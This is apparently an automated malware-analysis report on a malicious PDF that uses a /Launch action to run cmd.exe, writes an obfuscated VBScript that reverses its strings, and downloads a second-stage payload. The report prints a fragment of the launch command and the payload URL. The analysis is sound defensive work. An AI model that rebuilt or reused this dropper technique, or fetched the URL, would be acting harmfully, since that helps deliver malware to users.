PDF malware analysis — malicious · 7a29045fbb75543e

MALICIOUS

PDF

804 B

MD5: 0e86b7c91e13df0c205d20f6bab7f0e0 SHA-1: 1279c92e15b8d5ad0a874ca3c4fc3b4ff75b2d00 SHA-256: 7a29045fbb75543e2a77ebd2507e035152bfaa996005c95a9a0c8bf6827ef711

120 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell T1059.005 Visual Basic

The PDF contains a launch action that executes cmd.exe. This command attempts to create a VBScript file named 'm.vbs' by concatenating strings, including a reversed string for 'Scripting.FileSystemObject'. The script is intended to download and execute a payload from the embedded URL http://dnvcssadljkf.com/s10/tmp/m.vbs. The obfuscated nature of the script and the use of a launch action indicate a malicious intent to deliver a secondary payload.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://dnvcssadljkf.com/s10/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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